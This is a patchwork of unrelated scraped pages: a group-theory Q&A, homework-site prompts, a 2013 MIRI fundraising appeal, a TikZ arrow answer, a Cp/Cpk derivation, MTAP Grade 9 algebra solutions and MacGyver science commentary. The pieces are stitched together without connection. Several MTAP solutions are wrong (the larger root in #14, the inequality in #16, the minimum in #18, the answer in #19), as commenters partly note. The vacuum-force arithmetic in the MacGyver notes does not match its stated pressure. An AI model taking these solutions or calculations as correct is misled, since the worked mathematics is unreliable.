Suppose that $(a,b,c)\in X^G$, so that $\sigma\cdot(a,b,c)=(a,b,c)$ for all $\sigma\in G$.

For the identity element, you actually don't get any information: since $e\cdot(a,b,c)=(a,b,c)$, we get that $a=a$, $b=b$, and $c=c$, which tells us nothing. In other words, every element of $X$ is fixed by the identity element of $G$.

However, for $(12)$, we see that since $(12)\cdot(a,b,c)=(b,a,c)$, we must have $(b,a,c)=(a,b,c)$ and hence that $a=b$.

Are there any other restrictions you can conclude about $a$, $b$, and $c$ when $(a,b,c)\in X^G$, or is that all?

Then: how many elements of $X$ meet those restrictions, i.e., how many elements are in $X^G$?

• Thanx for the quick reply. If we take (1,3).(a,b,c), we must have a=c, (2,3).(a,b,c), we must have b=c – Chiranjeev_Kumar Dec 25 '17 at 11:23
• Exactly. You can conclude that $(a,b,c)\in X^G\iff a=b=c$. So, what is the cardinality of $X^G$? – Zev Chonoles Dec 25 '17 at 11:25
• So cardinality should be 3 – Chiranjeev_Kumar Dec 25 '17 at 11:26
• Exactly right! :) – Zev Chonoles Dec 25 '17 at 11:26
• Thanx, allot :) your way of helping was awesome. – Chiranjeev_Kumar Dec 25 '17 at 11:34


text:
Corey's motorcycle gets 35 miles per gallon of gasoline. Writean expression for how many miles the motorcycle can travel withg gallons of gasoline.

Question:

Corey's motorcycle gets 35 miles per gallon of gasoline. Write
an expression for how many miles the motorcycle can travel with
g gallons of gasoline.

Why do good people do bad things? Use evidence from this text, your own experience, or research, using art, literature, and history in your answer. Make it convincing. Use evidence. Show the progression some people may take in going from "good" to "bad." What are the signs? (W.3, L.6)

Why do good people do bad things? Use evidence from this text, your own experience, or research, using art, literature, and history in your answer. Make it convincing. Use evidence. Show the progression some people may take in going from "good" to "bad." What are the signs? (W.3, L.6)...

Help me please!!! Effect of transformation

Help me please!!! Effect of transformation...

How can I solve this problem?

How can I solve this problem?...

Dobson manufacturing company uses a job order cost system with manufacturing overhead applied to products on the basis of direct labor dollars. at the beginning of the most recent period, the company estimated its total direct labor cost to be $65,000 and its total manufacturing overhead cost to be ... 2 answers Which type of rock will be formed if sedimentary rock becomes molten? Which type of rock will be formed if sedimentary rock becomes molten?... 1 answer Describe chandragupta maurya and ashoka as the most successful rulers of the mauryan empires Describe chandragupta maurya and ashoka as the most successful rulers of the mauryan empires... 2 answers Write a sentence with the word labyrinth write a sentence with the word labyrinth... 1 answer List the 5 Themes of Geography and their meaning in your own words. List the 5 Themes of Geography and their meaning in your own words.... 1 answer Find the cubic function given the zeroes: sqrt 2, opposite of the sqrt of 2, -2 find the cubic function given the zeroes: sqrt 2, opposite of the sqrt of 2, -2... 2 answers Read this line from The Fall of the House of Usher: Shaking off what must have been a dream, I scanned more narrowly the real aspect of the building. Why does the narrator put the word must in italics? Read this line from The Fall of the House of Usher: Shaking off what must have been a dream, I scanned more narrowly the real aspect of the building. Why does the narrator put the word must in italics?... 2 answers Value is defined as ______. Group of answer choices the reciprocal of the function to its cost the ratio of the function to its cost the difference between the function and its cost the product of the function to its cost Value is defined as ______. Group of answer choices the reciprocal of the function to its cost the ratio of the function to its cost the difference between the function and its cost the product of the function to its cost... 1 answer How do plants help the earth how do plants help the earth... 1 answer 5 puonds of grapes cost 9.35 how much would 2 pounds cost 5 puonds of grapes cost 9.35 how much would 2 pounds cost... 2 answers The Black transles are shown. Find the value of The value of (just type a number in the box) please help me !! The Black transles are shown. Find the value of The value of (just type a number in the box) please help me !!... 2 answers 1. Simplify * 3/2 x 5/3 : (-2+7) 1. Simplify * 3/2 x 5/3 : (-2+7)... 1 answer Rewrite the sentence by correcting the misplaced modifier, squinting modifier, or dangling modifier. Tom found the memory box for the baby on the dusty closet shelf. Rewrite the sentence by correcting the misplaced modifier, squinting modifier, or dangling modifier. Tom found the memory box for the baby on the dusty closet shelf.... 1 answer Political bosses were able to persuade people to vote the ways they wanted them to by doing which of the following? A. Bribing public officials B. Changing the results of voting in the voting boxes C. Making example out of those who didn't cooperate D. Promising jobs and better living conditions to the voters Political bosses were able to persuade people to vote the ways they wanted them to by doing which of the following? A. Bribing public officials B. Changing the results of voting in the voting boxes C. Making example out of those who didn't cooperate D. Promising jobs and better living condition... 2 answers Rob works for$8.00 per hour. His regular hours are 40 hours per week and he gets time-and-a-half for overtime. One week he works 50 hours. He wants to calculate his pay.

Rob works for \$8.00 per hour. His regular hours are 40 hours per week and he gets time-and-a-half for overtime. One week he works 50 hours. He wants to calculate his pay....


text:
2013 Winter Matching Challenge

|   |  News

Thanks to Peter Thiel, every donation made to MIRI between now and January 15th, 2014 will be matched dollar-for-dollar!

Also, gifts from “new large donors” will be matched 3x! That is, if you’ve given less than $5k to SIAI/MIRI ever, and you now give or pledge$5k or more, Thiel will donate $3 for every dollar you give or pledge. We don’t know whether we’ll be able to offer the 3:1 matching ever again, so if you’re capable of giving$5k or more, we encourage you to take advantage of the opportunity while you can. Remember that:

• If you prefer to give monthly, no problem! If you pledge 6 months of monthly donations, your full 6-month pledge will be the donation amount to be matched. So if you give monthly, you can get 3:1 matching for only $834/mo (or$417/mo if you get matching from your employer).
• We accept Bitcoin (BTC) and Ripple (XRP), both of which have recently jumped in value. If the market value of your Bitcoin or Ripple is $5k or more on the day you make the donation, this will count for matching. • If your employer matches your donations at 1:1 (check here), then you can take advantage of Thiel’s 3:1 matching by giving as little as$2,500 (because it’s $5k after corporate matching). Please email malo@intelligence.org if you intend on leveraging corporate matching or would like to pledge 6 months of monthly donations, so that we can properly account for your contributions towards the fundraiser. Thiel’s total match is capped at$250,000. The total amount raised will depend on how many people take advantage of 3:1 matching. We don’t anticipate being able to hit the $250k cap without substantial use of 3:1 matching — so if you haven’t given$5k thus far, please consider giving/pledging $5k or more during this drive. (If you’d like to know the total amount of your past donations to MIRI, just ask malo@intelligence.org.)$0

$62.5K$125K

$187.5k$250k

How Will Marginal Funds Be Used?

• Hiring Friendly AI researchers, identified through our workshops, as they become available for full-time work at MIRI.
• Running more workshops (next one begins Dec. 14th), to make concrete Friendly AI research progress, to introduce new researchers to open problems in Friendly AI, and to identify candidates for MIRI to hire.
• Describing more open problems in Friendly AI. Our current strategy is for Yudkowsky to explain them as quickly as possible via Facebook discussion, followed by more structured explanations written by others in collaboration with Yudkowsky.
• Improving humanity’s strategic understanding of what to do about superintelligence. In the coming months this will include (1) additional interviews and analyses on our blog, (2) a reader’s guide for Nick Bostrom’s forthcoming Superintelligence book, and (3) an introductory ebook currently titled Smarter Than Us.

Other projects are still being surveyed for likely cost and impact.

We appreciate your support for our work! Donate now, and seize a better than usual chance to move our work forward. If you have questions about donating, please contact Louie Helm at (510) 717-1477 or louie@intelligence.org.


text:
# Adding double arrows to the middle of a line with TikZ

I am using tkz-euclide package and I am drawing a figure where I would like to put two arrows in the center of the line, exactly as seen in this figure:

Ideally, I may want to create a single arrow, two arrows, three arrows, etc. in the center of a line, so a generalized solution would be great.

-
– Qrrbrbirlbel Dec 2 '12 at 19:43
Welcome to TeX.sx! Could you come up with a minimal working example (MWE), i.e. an example that has the lines already drawn? – Qrrbrbirlbel Dec 2 '12 at 19:46

## Notes

• The \tkzMarkSegments[<opt>]{…} macros offer the ability to mark= with |, ||, o, s, etc.
Refer to the tkz-euclide manual for more information (12.3 “Marquer un segment \tkzMarkSegment” and 12.4 “Marquer des segments \tkzMarkSegments”).
• I haven’t fount a way to be able to use, say, mark=>, which is the reason I provide the
• arrowMe style.
• thick is only one of many ways to make a arrow head bigger, this isn't the best, for further reference, take a look at
• Double arrows are provided by the universal > arrow or with the \pgfarrowsdeclaredouble macro.
• Triple arrow can be declared with \pgfarrowsdeclaretriple macro.
• Quadruple arrow can be declared with doubling the double arrow tip.
With the example given you can see that the end of the arrow’s tip is actually at the specified position (here pos=.5) and not the middle of the arrow, which is the reason I prefer to use the method I described in another answer of mine, but the explained decoration doesn’t work so good with \tkz*Segment so the fallback would be to explicitly \draw the line.
• See the related question where different ways of marking with an arrow are provided:

## Code

\documentclass[tikz,border=2pt]{standalone}
\usepackage{tikz}
\usepackage{tkz-euclide}
\usetikzlibrary{decorations.markings,arrows}
\tikzset{
arrowMe/.style={
postaction=decorate,
decoration={
markings,
mark=at position .5 with {\arrow[thick]{#1}}
}
}
}
\pgfarrowsdeclaredouble{<<s}{>>s}{stealth}{stealth}%   double stealth
\pgfarrowsdeclaretriple{<<<s}{>>>s}{stealth}{stealth}% triple stealth
\begin{document}
\begin{tikzpicture}
\tkzDefPoint(0,0){D}
\tkzDefPoint(2,4){A}
\tkzDefPoint(7,4){B}
\tkzDefPoint(5,0){C}
\tkzDefPoint(3.5,2){E}
\tkzDefPoint(6,2){BC}% only to show the quadruple arrow
\tkzLabelPoints[left](A,D)
\tkzLabelPoints[right](B,C)
\tkzLabelPoints[left=5pt](E)
\tkzDrawSegments(B,D A,C)
\tkzMarkSegments[mark=|](B,E D,E)
\tkzMarkSegments[mark=||](A,E C,E)
\tkzDrawSegments[arrowMe=stealth](A,B D,C)
\tkzDrawSegments[>=stealth,arrowMe=>>](D,A C,B)
\tkzDrawSegment[arrowMe=>>>>s](BC,E)% only to show the quadruple arrow
\end{tikzpicture}
\end{document}

## Output

-
This is very useful to me, however, I am still unsure how to add 3 arrows to a line – James Dec 2 '12 at 23:36
@James See my updated answer. For quintuple arrows (or others you can’t create with double and triple combination) there is \pgfarrowsdeclarecombine which can be found in the PGF manual under 74.3 “Declaring a Derived Arrow Tip Kind”. – Qrrbrbirlbel Dec 3 '12 at 2:19


text:
# Capability Indices and Process Shift

In this post I will derive a simple relationship between process shift and the capability indices Cp and Cpk.

### Introduction

The process capability statistic Cp compares process variation against the width of a process  operating window:

$C_p =$  $\frac{U - L}{6 \sigma}$

where U and L are the upper and lower specification limits respectively, and σ represents the standard deviation of the process variation.

In order to take account of process location the ratio is extended to include process mean  $\overline Y$ :

$C_{pu} =$  $\frac{U - \overline Y}{3 \sigma}$        $C_{pl} =$  $\frac{\overline Y - L}{3 \sigma}$

&   $C_{pk} =$ Min$(C_{pu},C_{pl})$

So now we can confidently talk about process capability in terms of the indices Cp and Cpk.  But it seems to me that this is convenient shorthand at the expense of transparency.

For example, if I am given values for Cp and Cpk the underlying process shift is not necessarily obvious.

### Cp / Cpk and Process Shift

Whilst the relationship between process shift and capability indices is not immediately apparent there is nonetheless a simple relationship:

$\Delta =$  $3 \sigma (C_p - C_{pk})$

where the shift Δ is measured as the distance of the process mean from the target.

The rest of this post looks at the derivation of this result.

### The Algebra

Let’s assume without loss of generality that the process shift is positive (with respect to the target T).  Then:

$C_{pk} = C_{pu} =$$\frac{U - \overline Y}{3 \sigma}$

The process shift is $(\overline Y-T)$ so we need an appropriate expression for  and $\overline Y$  and $T$ .

### An Expression for  $\overline Y$

From the above expression:

$3 \sigma C_{pk} = U - \overline Y$

which implies

$\overline Y = U - 3 \sigma C_{pk}$

### An Expression for $T$

If we assume that the specs are symmetric then

$T=$  $\frac{U + L}{2}$

which implies

$L = 2 T - U$

but also

$C_p =$  $\frac{U - L}{6 \sigma}$

therefore

$C_p$  $= \frac{U - (2T - U)}{6 \sigma} = \frac{2(U - T)}{6 \sigma}$

this implies

$U - T = 3 \sigma C_p$

therefore

$T = U - 3 \sigma C_p$

### An Expression for Process Shift

Using the above expressions for $T$ and  $\overline Y$ an expression for process shift can be constructed and simplified:

$\Delta = \overline Y - T = (U - 3 \sigma C_{pk}) - (U - 3 \sigma C_p)$

$= 3 \sigma(C_p - C_{pk})$

### In Summary

In this post I have derived a simple relationship between process shift and the capability indices Cp and Cpk.  Given the simplicity of the relationship, my derivation feels somewhat laboured – perhaps you know of a more direct method?


text:
# Grade 9 MTAP 2015 Elimination Questions with Solutions – Part 2

This is the second part (questions 11-20) of the solutions of the Grade 9 MTAP 2015 Elimination Questions. The first part can be read here.

Although reasonable care has been given to make the solution accurate as possible, the solver is also human. Please comment below if you see any errors.

11.) If $x \neq 1$, solve for $x$ in $2 \sqrt{x} + \frac{3}{\sqrt{x}} = 5$.

Solution
Multiplying both sides by $\sqrt{x}$, we obtain

$2x + 3 = 5\sqrt{x}$

Squaring both sides of the equation, we get

$4x^2 + 12x + 9 = 25x$

$4x^2 - 13x + 9 = 0$.

Factoring, we have

$(4x - 9)(x - 1) = 0$

So, $x = \frac{9}{4}$ or $x = 1$.

But from the given above, $x \neq 1$, so the only solution is $x = \frac{9}{4}$

12.) Evaluate $\sqrt{2 + \sqrt{2 + 2 \sqrt{2 + \cdots }}}$.

Solution

Let $x = \sqrt{2 + \sqrt{2 + 2 \sqrt{2 + \cdots }}}$

$x^2 = 2 + \sqrt{2 + \sqrt{2 + 2 \sqrt{2 + \cdots }}}$

$x^2 = 2 + x$

$x^2 - x - 2 = 0$

$(x - 2)(x + 1) = 0$

$x = 2$ or $x = -1$

Answer: $x = 2$ or $x = -1$

13.) Find two positive consecutive integers whose product is 506.

Solution

Let $x$ is equal to the smaller number and $x + 1$ be the larger number.

$x(x + 1) = x^2 + x = 506$

$x^2 + x - 506 = 0$

$(x - 22)(x - 23) = 0$

$x = 22$ or $x = 23$.

14.) If $c > a > 0$ and if $a - b + c = 0$, find the larger root of $ax^2 + bx + c = 0$.

Solution

From the given, $a - b + c = 0$, so $b = a + c$.

$x = \dfrac{-b \pm \sqrt{b^2 -4ac}}{2a}$

$= \dfrac{-(a + c) \pm \sqrt{(a + c)^2 - 4ac}}{2a}$

$= \dfrac{-a - c \pm \sqrt{a^2 - 2ac + c^2} }{2a}$

$= \dfrac{(-a - c) \pm a - c}{2a}$.

Simplifying, we get the two roots $x_1$ and $x_2$.

$x_1 = \dfrac{-2c}{2a} = -\dfrac{c}{a}$

$x_2 = \dfrac{-2a - 2c}{2a} = \dfrac{-a - c}{a}$

Since $c > a > 0$, the larger root is $-\dfrac{c}{a}$.

Answer: $-\dfrac{c}{a}$

15.) Solve for $x$ in $2x^2 + x < 6$.

Solution

Subtracting 6 from both sides,

$2x^2 + x - 6 < 0$

$(2x - 3)(x + 2) < 0$

$-2 < x < \frac{3}{2}$

Answer: $-2 < x < \frac{3}{2}$

16.) Solve for real numbers $x$ satisfying the inequality $x - 2\sqrt{x} \leq 3$.

Solution

$x - 3 \leq 2 \sqrt(x)$

Squaring both sides of the inequality,

$x^2 - 6x + 9 \leq 4x$

$x^2 - 10x + 9 = 0$

$(x - 1)(x - 9) = 0$

$x = 1$ or $x = 9$

Answer: x = 1 and x = 9

17.) Find the minimum value of x^2 – 8x + 3.

Solution

Let $y = x^2 - 8x + 3$.

The graph of the function opens upward, so we transform it to the vertex form a(x – h)^2 + k = 0 to get the minimum value which is (h,k).

$x^2 - 8x + 3 = (x - 4)^2 + 3 - 16 = (x - 4)^2 - 13$

So, h = 4 and k = – 13. The minimum value is -13.

18.) Find the smallest value of $x + \dfrac{5}{x}$ for all real number $x$.

Solution

You can make $x$ as small as possible, so the answer is $- \inf$

Answer: $- \inf$

19.) Solve for $b$ in the equation $(x + 1)(x + a) = x^2 + bx + 3$.

Solution

$x^2 + x + ax + a = x^2 + bx + c$

$x + ax + a = bx + 3$.

$bx = x + ax + a - 3$

Dividing both sides by $x$,

$b = 1 + a + \frac{a - 3}{x}$

Answer: $b = 1 + a + \frac{a - 3}{x}$.

20.) Write the quadratic equations with integer coefficients whose roots are reciprocal of the roots of $2x^2 - 3x + 1 = 0$.

Solution

$2x^2 - 3x + 1 = (2x - 1)(x - 1)= 0$

$x = \frac{1}{2}$ or $x = 1$.

So, we create a quadratic equation whose roots are 2 and 1. That is

$(x - 1)(x - 2) = x^2 - 3x + 2 = 0$

Answer: $x^2 - 3x + 2 = 0$.

If you have old MTAP questions and you want me to solve it for you, please send your email to

### 6 Responses to Grade 9 MTAP 2015 Elimination Questions with Solutions – Part 2

1. I was wondering in question 16, why 0 is not included in solution set infact 0-2sqrt(0)<=3. I check that in maple, mathlab and symbolab, 0 is included.

2. Question 14, I think the larger root is x = -1. Kindly check your second root. That is plus minus ( a-c ).

3. Kaneki Ken says:

#16 inequality suddenly became equation.. so wrong

4. Thirdy says:

jaja no. 18???


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MacGyver Season 4 Episode 8 Science Notes: Father + Son + Father + Matriarch

Newton’s Third Law

It’s not a hack, but I wanted to go over this quote from MacGyver:

“Every action has an equal and opposite reaction.”

Clearly, he isn’t just talking about physics and stuff—so let me give a very brief explanation.

This originally comes from Issac Newton and his “three laws of motion”. What he (Newton) was trying to say was that forces come in pair—forces are an interaction between two objects. So, if object A pushes on object B with some force, then object B pushes on A with the same force but in the opposite direction. That’s what Newton meant to say—but it’s tough when no one has nailed down the operational definition of things like “force”.

However, the most common version of this “Law” uses the action and reaction term. Of course forces come in pair always—it doesn’t matter if the objects are moving or stationary. So, the “action” and “reaction” don’t always make sense. This is why I prefer the force law stated as the following:

Forces come in pairs. For every force, there is an equal and opposite force.

If you have to write it in that form—that’s the best way. But what about action and reaction? This statement is still true in many cases. Let me give you an example.

Take a balloon and fill it with air. Now let the air out and remove your hands from the balloon. What happens? The air inside the balloon is at a higher pressure than outside the balloon. This means the stretched balloon rubber PUSHES the air out. Oh, but forces come in pairs—this means that the air also pushes on the balloon. Since a force CHANGES the momentum of an object (where momentum is mass multiplied by velocity), the balloon speeds up one way (action) and the air speeds up the other way (reaction).

Yes, that is EXACTLY how a rocket works—except it uses a chemical reaction to push gas out instead of stretched rubber.

I spent too much time on this one quote. I can’t help myself.

Disabling a Contact Mine

These explosive bombs are magnetically attached to the vehicle. Obviously, you can’t just pull them off—that’s how they EXPLODE. So, MacGyver’s idea is to destroy their electronic components with the car’s battery. If he can run electrical current through the mine, then maybe they will be disabled.

Fortunately, the mine is on a metal hood—assuming the paint doesn’t form too thick of an insulating layer then he can use the car’s ground as one of the contact points. Then he would just need to run a wire from the positive terminal of the car’s battery (he could get the positive from the 12V outlet inside the car) to the mine.

Yes. This process might also kill the truck—especially if current goes through the ECU (basically the computer that runs the engine).

DIY Electromagnet

Electrical current creates a magnetic field. If you wrap a wire into a coil with multiple loops, each loop will create a magnetic field that adds to the other magnetic fields from coils. So, more loops means a great magnetic field.

If you put a ferromagnetic core in the loop (like iron or most forms of steel), then these electromagnetic loops will also magnetize the coil and make the whole thing even stronger.

This is exactly what MacGyver does. He uses his Swiss Army Knife as a ferromagnetic coil and a battery from a flashlight as the power source. Then he uses this to pull out a bullet fragment from a wound. Now, he has to get lucky to use this. Most bullets are made of non-ferromagnetic materials (like lead or copper). But if it has even a little bit of steel (or some other materials), there’s a chance he can pull it out with the magnet.

Oh, one last note. The wire can’t be plain copper wire. It has to have some type of electrical insulation on the outside. This insulation forces the current to move around in a loop instead of taking a short cut from the start to finish. Some wire has a rubber coating to insulate it—but in this case, it’s called “magnet wire”. It has a thin enamel coating so that you can wrap it into a coil.

Dobsonian Telescope

It’s not really a hack, but it is important for the plot. There’s a telescope that MacGyver is going to use later. It’s a Dobsonian mount.

The “Dobsonian” part really refers to the way the telescope is aimed and not so much about the optics. I’m pretty sure every Dobsonian telescope uses a Newtonian optic design. It uses a large focusing mirror at the base of the telescope. Here is a very basic design.

The nice thing about this design is that it’s actually quite simple to build. The only complicated part is the parabolic mirror (which you could also make yourself—but it would take some bit of time). Oh, I left off the walls of the telescope above because you don’t actually need them.

But what about the mount? The Dobsonian is basically just two swivel points. The base of the mount turns and then the telescope moves up and down. Super simple. But it’s not the best design for serious astronomy. The problem is that the Earth rotates. If you were to watch the stars in the sky over the course of a night, they would move in a slow circle about the Earth’s rotational axis. Sure, it’s takes 24 hours (about) for the stars to complete this circle—but they are indeed moving.

If you want to take a time exposure picture of a star (like for 10 minutes or so), then that star is going to move and leave a streak on the image. Actually, someone needs to remind me to take a “star trail” picture sometime. So, the Dobsonian mount has to move both rotation points in order to compensate for this star motion. It’s tough.

The other telescope mount design is called an equatorial mount. In this case, one of the rotation axes is aligned with the Earth’s rotation. That means that you can just slowly turn this one axis and a telescope will remain pointed at a particular star. This has nothing to do with MacGyver—but I just thought I would mention it.

Super Bright Moon

MacGyver needs a distraction. What about the telescope? So, here’s what he does: he aims the telescope at the moon and then lets the image project onto a baddie. The bright light is just the distraction he needs.

Here’s where a big telescope becomes useful. The diameter of the mirror (or lens if it’s a refracting telescope) is related to the light gathering power. All of the light that hits that large mirror is focused up to the eyepiece. So, even very dim lights can be detected. Yes, even very dark things like distant galaxies or comets (both of which can not always been seen by the naked eye) can be detected with a large telescope.

Actually, if you want to get into amateur astronomy you should start off with a nice pair of binoculars. They are much easier to set up than a telescope (because you just grab them out of the case and you are ready to go). Also, with large lenses they can really let you see some stuff that’s invisible to the naked eye. It’s not about the magnification, it’s about the light gathering.

Oh, but a full moon IS indeed super bright. You really can’t look at it with a large telescope unless you have some type of filter. Also, don’t look at the sun with a telescope. That is a super bad idea.

MacGyver Season 2 Episode 5 Science Notes: Skull + Electromagnet

Decoration with syringe hydraulics

As they decorate for Halloween, the crew builds this skeleton that is controlled by syringes. The basic idea is to use a tube to connect two syringes (the big kind). Fill it with water. When you push or pull on one syringe, it makes the opposite thing happen with the other syringe since water is incompressible.

Here is a nice video showing how to make something like this.

Directional Antenna

In order to track down a dude, MacGyver builds a directional radio antenna. Well, actually he just combines a yagi antenna and a dish antenna—I’m not sure it would work like that, but it looks cool.

I don’t think I should go into the physics of a yagi—it might take a while to explain. However, I can say this: that old style TV antenna you had on your roof? That’s a yagi. It does have a directional dependance on amplitude. That means that if you point it one way, you will get a better signal than pointing it another way.

DIY Thermal Camera

How do you find people in a dark abandoned military base? What about a thermal camera? A “thermal” camera is just like a normal camera except that it’s different. Instead of detecting electromagnetic waves in the visible region (we often call this visible light), a thermal camera works in the infrared range. That’s why they are also called infrared (IR) cameras.

Normally, that wouldn’t help you see in the dark—except for one important thing. All objects radiate light. The wavelength of this light depends on the temperature of the object. For most of the objects you see around you, the wavelength of radiated light is in the infrared range. So, with an IR camera these objects are like their own little light bulb. You don’t need an external light source—the objects are the light source.

Let me show you an example. This is an image using the FLIR One—it’s an IR camera attachment for your smart phone (pretty cool). Here you can see the family dog in IR. There’s a bunch of cool stuff you can see, but I will just leave this post for you if you want to know more.

The first devices to produce an IR image (mostly) came about in the 1950s. They used a single sensor that scanned over an area to produce an image. It wasn’t fast and the sensor had to be cooled. But still it worked.

So, how could MacGyver make an IR camera? Step one would be to find one of these sensors—maybe lead sulfide detector. This detector just gives a voltage though and not an image. To get an image, you need to scan over the scene and then run that into a television or something. Here is an early sketch.

How far away could you detect a human? I tried this out using my kids and my FLIR One. Here’s what it looks like at a distance of 7 meters.

Just for fun, here is the image from the episode.

In the end, IR camera’s are pretty complex. Honestly, it’s amazing that we have something that does this on a phone.

Escaping a hyperbaric chamber

Samantha Cage has been placed in a closed hyperbaric chamber that’s being filled with water. A hyperbaric chamber is essentially a person-sized scuba tank. You can put someone in there and then increase the pressure. This can be useful for a person suffering from decompression sickness (from scuba diving).

Anyway, she’s trapped and needs to escape. MacGyver builds a captive bolt gun to break the window. Oh, that’s cool and all—but I have a better option to escape.

What if you sealed up the chamber to get her out? It sounds crazy, but it would work. Here’s the problem. In order to add water to the chamber, you either need to increase the interior pressure by adding high pressure water. Or—you can add water while letting some of the air out. The second method is much easier to do (since it just uses normal water). But this means there is either a valve that is open to let the air out or maybe there are some old and bad seals that let air out.

Now, if you seal off the chamber the water can’t come in. And if the water does indeed enter, it will increase the interior pressure. Hopefully the pressure will get high enough on the inside that Cage can add a little extra and bust out.

It’s just an idea.

Electromagnet Lift

Could an electromagnet actually lift something large? Absolutely. Have you not seen those giant electromagnets at the junk yard that lift cars? But what about a human? The human body doesn’t really have enough ferromagnetic material in it for this to work (unless you are Magneto). However, it’s at least plausible if that person has a steel plate implanted. Yes. It’s true that many metal implants are titanium. Also, the steel implants are stainless steel and some versions of stainless steel aren’t magnetic. But still—it’s possible.

An electromagnet is really just a coil of wire with current running through it. It’s not hard to make, here you can do it yourself.

But what about a HUGE electromagnet? If you want a super strong magnetic field, you need a GIANT electric current. It’s possible to get perhaps 10 amps out of a truck engine (from the alternator or the battery)—but that might not be enough. My suggestion is to get a bunch of car batteries together so that you can get the highest current possible. Of course this high current is going to make the wires hot, so don’t run it for too long.

MacGyver Season 3 Episode 21 Science Notes: Treason + Heartbreak + Gum

Breaking Window Bars with a Bicycle

This is another classic MacGyver hack. There is a window with bars on the outside and Mac needs to get IN. Simple, just pull off the bars. Obviously you can’t do this with your hands, you need to build something.

I guess you would call this a hand-crank winch. That probably best describes what he builds. Actually, it’s a hand crank winch WITH a compound pulley. Here are a couple of pictures.

The main idea here is the same for ALL simple machines. It’s really about force, distance and work. Let’s start with a super basic definition of work (physics work).

$W=Fd$

In this expression (which isn’t technically correct—but that’s OK for now), W is the work, F is the force applied and d is the distance over which the force moves.

Now imagine I have a simple machine. I can put work into it and get work out of it. Assuming it is 100 percent efficient, the work in can’t be less than the work out (or you would get FREE ENERGY).

So, if you want to pull (or push) with a smaller force then you need to pull over a larger distance. For the output force, you need to have it move over a shorter distance to get a larger force.

With the winch, MacGyver turns a hand crank (part of the bike). If the garden hose (used for a rope) is wrapping around something with a smaller diameter, then for each rotation of the hand the rope will move a small distance. This is the key to a winch. Remember—smaller distance means larger force.

With the compound pulley, the same thing happens. By using multiple pulleys—you can make the pull force move over a larger distance thus increasing the output force.

Here is my initial diagram for how this might work.

Spark Gap Generator

You don’t get to see much detail here—so let me just explain the idea behind a spark gap generator.

First, I guess I should say what it is used for. Originally, a spark gap was a radio transmitter. It turns out that although it’s simple to build, you can only use one at a time because they don’t really use channels. In the case of MacGyver, he is using a spark gap to jam a phone signal (to prevent data transfer).

All of the wireless data works by broadcasting and receiving electromagnetic waves. Radio, microwave, visible light, x-rays…these are all electromagnetic waves (but with different wavelengths). Still, they are electromagnetic waves.

So, what about this spark gap? The idea is to create a repeating spark across some small gap. This spark is a very violent (electromagnetically speaking) event. It has accelerating electric charges which create EM waves. These EM waves are high enough intensity that they can make it such that other (more well behaved) devices can’t send or receive a signal.

But how do you make one of these spark gap generators? Really, you just need a battery and some wires. If you use the wires and battery you can create an electromagnet. That doesn’t make a spark, but if you can turn it on and off really quickly, then it will indeed make a spark. I built one using a moving metal switch. When the electromagnet is on, it pulls the metal and turns off the switch. Once the switch is off, the metal is no longer attracted to the electromagnet and it moves back in place to turn the electric current on again. This just repeats to make the spark.

Here is a video.

Here are some more details on this.

Oh, here is another way to make one of these spark gap generators.

Gum Wrapper Switch

The key to this episode (it’s in the title) is gum. MacGyver activates the spark gap by taking out a piece of gum. How would this work?

The purpose of a switch is to do something such that two wires are connected. In this case, the two ends of the circuit could be the foil wrappers for two pieces of gum. If you put an insulator (gum) in between them, then the circuit will be closed. Pull the gum out and then two foil pieces will touch and complete the circuit.

Here is a diagram I created for this.

MacGyver Season 2 Episode 3 Science Notes: Roulette Wheel + Wire

Is there a better MacGyver image than his radio build at the beginning of the episode? I think not. Here is an image.

Could you actually build a radio from a snow mobile? I think yes. Really, radios aren’t actually that complicated. The only difficult part would be building an amplifier so that the signal generated from a voice is powerful enough to be detected by someone’s radio. If the snow mobile had any kind of radio (like for listening), you would have all the parts you would need.

Stun gun on slot machine

They call these hand held zap things stun guns, but they don’t shoot. You just have to hold them up to someone to shock them.

MacGyver needs a distraction so he takes the stun gun and uses it on a slot machine. After that, the guy playing wins.

Is this even possible? Possible, yes. Likely, no. The stun gun has high voltage that creates sparks. These sparks can damage electronic equipment—especially the super tiny transistors in a computer chip. So, it’s possible that the stun gun does something to cause a win.

However, these slot machines are built with tampering in mind. They need to be able to resist humans messing around with them to win. So, I doubt this would work. Also, if MacGyver zaps that outside of the machine it’s probably grounded. This means that the electric current that gets into the case of the slot machine will just go around all the electrical components.

You probably have a better chance of winning on the slot machine than cheating on it.

Iris scanner hack

In order to get through an iris scanner on a door, Jack gets a close up picture of the target’s eye. Then Bozer prints out a fake lens to wear over the eye. Could this work? It’s possible.

In fact, check this out. Someone did the same thing with the Samsung Galaxy S8.

Handheld Cellphone Stingray

A cellphone stingray is a device that acts like a cell tower. Cell phones connect to it thinking that it’s just a tower—but blam, it’s actually another computer.

Of course the details are complicated (which means I don’t really understand them), but you would need some type of antenna. Jack has a tiny antenna in his cuff that has to get close enough to the target’s phone. I think this is plausible. At least it would give Riley a chance to get into the phone and steal some codes.

Magnetic Detector

Also known as a compass. MacGyver is trying to find a magnetic switch for a hidden door. He grabs a bit of metal (hopefully it’s ferromagnetic steel) along with a magnetic bottle opener.

The basic idea is that a metal like steel (most steel) has magnetic domains. When these domains are lined up, the material will act like a magnet. You can line up the domains by rubbing the steel with a magnet. Like this.

If the magnetized steel can float, it will rotate and point in the direction of an external magnetic field—either from the Earth or from that magnetic door switch.

OK, one small issue. In the episode it shows MacGyver rubbing the steel back and forth. You really just want to rub it one way. I think it would still work though. Oh, also many of those magnets like the one on the bottle opener have weird domains. They aren’t just like a plain north and south of a bar magnet, but it still might work.

Vacuum Cleaner Spider-Man

This is awesome (and mostly real).

Here’s how it works. The vacuum cleaner works by pulling air out of a region. If you put a vacuum cleaner over carpet, the air flow goes from the carpet to the vacuum cleaner (basically with just a super powerful fan). When the air moves in this manner, it often picks up other stuff—like dirt.

MacGyver has this vacuum hooked up to some metal tray covers. When the air is pulled from these covers, the air pressure inside the covers decreases. That means that the external pressure (due to the Earth’s atmosphere) will push the covers onto the glass wall.

Actually, this force from the atmospheric pressure can be quite large. The pressure is $10^5\text{ N/m}^2$. So if the pressure inside the covers is just half an atmosphere with a radius of 10 cm, then the net force (for the two covers) would be:

$F = PA=(0.5\text{ N/m}^2)(2)(\pi (.1\text{ m})^2) = 3141 \text{ N}$

That’s some serious force. But wait! This is not the force that supports MacGyver. In fact, it is the frictional force between the cover and glass that keeps him from falling. The frictional force is an interaction between two surfaces that acts parallel to the surface. It depends on two things:

• The types of materials interacting.
• The magnitude of the force that pushes these two surfaces together.

